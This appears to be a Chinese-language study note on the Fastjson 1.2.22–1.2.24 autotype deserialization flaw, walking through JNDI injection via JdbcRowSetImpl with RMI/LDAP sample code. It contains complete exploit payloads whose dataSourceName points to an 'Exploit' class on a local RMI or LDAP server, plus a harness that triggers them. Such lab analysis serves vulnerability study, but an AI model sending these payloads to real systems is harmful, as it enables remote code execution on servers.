fastjson框架下载:https://github/alibaba/fastjson
fastjson-jndi 下载:https://github.com/earayu/fastjson_jndi_poc
fastjson 是阿里巴巴开发的 java语言编写的高性能 JSON 库,用于将数据在 Json 和 Java Object之间相互转换。它没有用java的序列化机制,而是自定义了一套序列化机制。
提供两个主要接口:
JSON.toJSONString 和 JSON.parseObject/JSON.parse 分别实现序列化和反序列化
fastjson就是为了知道传入的值是水果里的苹果类型还是水果里的苹果手机类型。加了autotype机制导致的。因为他为了知道是什么详细类型,每次都需要读取下@type导致的。
Fastjson反序列化的Gadget需要无参默认构造方法或者注解指定构造方法并添加相应参数。使用Feature.SupportNonPublicField才能打开非公有属性的反序列化处理,@type可以指定反序列化任意类调用其set,get,is方法,并且由于反序列化的特性,我们可以通过目标类的set方法自由的设置类的属性值。
攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数形成RCE。
Student student = new Student();
student.setName("jack");
String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);
//漏洞的关键点在@type
String jsonString2 = JSON.toJSONString(student);
System.out.println(jsonString);
System.out.println(jsonString2);
//反序列化
System.out.println("反序列化");
//String json_ser = "{\"@type\":\"com.company.Student\",\"name\":\"jack\"}"; //payload 写在恶意类Student中。但是类在服务端,如何去创建,如何写payload
String json_ser2 = "{\"name\":\"jack\"}";
Student stu = JSON.parseObject(json_ser2,Student.class,Feature.SupportNonPublicField);
//Feature.SupportNonPublicField 获取类中的私有变量
Student stu2 = (Student) JSON.parseObject(json_ser2,Object.class,Feature.SupportNonPublicField);
System.out.println(stu.getClass());
System.out.println(stu2.getClass().getName());
序列化 String json_ser2 = “{“name”:“jack”}” ;会报错
序列化 String json_ser = “{”@type":“com.company.Student”,“name”:“jack”}"; 不会报错
因此能够执行反序列化的根源定位在 @type
可利用的 fastjson版本:[1.2.22,1.2.24]。高版本没有此漏洞
思路:类在服务端,如何去创建,如何写payload。
//LADP 方式
String payload1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\"," + " \"autoCommit\":true}";
//RMI 方式
String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," + " \"autoCommit\":true}";
这就用到了JNDI。JNDI提供了 查找和访问各种命名和目录服务的通用、统一的接口。支持的服务:DNS,LDAP,RMI,CORBA等
JNDI注入发生在客户端的lookup()中,如果lookup()的参数可控即可导致被攻击
运行SomeFastjsonApp,可以直接打开电脑中的计算器
定位 com.sun.rowset.JdbcRowSetImpl 这个类(在jdk的rt.jar中的 com.sun.rowset)
然后定位 setDataSourceName 方法
在JdbcRowSetImpl 这个类 中定位autocommit
然后 按下ctrl + 鼠标左键,点击connect方法,继续定位
看到一个lookup方法,其中getDataSoureceName可控,这就是漏洞可以利用的原理
RMI是 Java中 专为 JAVA 环境设计的 远程方法调用机制
远程对象能在rmi服务器上注册
指向web服务器
服务端
public class RegistryService {
public static void main(String[] args) {
try {
// 本地主机上的远程对象注册表Registry的实例,默认端口1099
Registry registry = LocateRegistry.createRegistry(1099);
// 创建一个远程对象
HelloRegistryFacade hello = new HelloRegistryFacadeImpl();
// 把远程对象注册到RMI注册服务器上,并命名为HelloRegistry
registry.rebind("HelloRegistry", hello);
System.out.println("======= 启动RMI服务成功! =======");
} catch (RemoteException e) {
e.printStackTrace();
}
}
}
客户端
public class RegistryClient {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry(1099);
HelloRegistryFacade hello = (HelloRegistryFacade) registry.lookup("HelloRegistry");
String response = hello.helloWorld("ZhenJin");
System.out.println("=======> " + response + " <=======");
} catch (NotBoundException | RemoteException e) {
e.printStackTrace();
}
}
}
JNDI是Java命令和目录接口,提供了查找各种命名和目录服务的统一的接口。
简单理解就是:java微服务中的注册中心
JNDI 借助目标服务器上的一个类jdbcRowSetImpl,让目标服务器访问远程rmi服务器(rmi://127.0.0.1:1099/Exploit),得到响应后执行相应操作
public class SomeFastjsonApp {
public static void main(String[] argv){
testJdbcRowSetImpl();
}
public static void testJdbcRowSetImpl(){
//JDK 8u121以后版本需要设置改系统变量
//System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
//LADP 方式
String payload1 = " {\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\"," + " \"autoCommit\":true}";
//RMI 方式
String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," + " \"autoCommit\":true}";
JSONObject.parseObject(payload2);
}
}
fastjson中,在反序列化的时候 jdk中 的 jdbcRowSetImpl 类一定会被执行,我们给此类中的 setDataSourcesName 输入恶意内容(rmi链接),让目标服务在反序列化的时候,请求rmi服务器,执行rmi服务器下发的命令,从而导致远程命令执行漏洞
通过jndi在服务端创造一个有危害的类,目标服务器收到rmi的命令之后,就会加载这个jndi生成的恶意类
jdk 中的 jdbcRowSetImpl 类中的 setAutoCommit 方法中的 lookup方法中的 getDataSourcesName 参数输入可控
idea导jar包教程:https://www.pianshen.com/article/40051976554/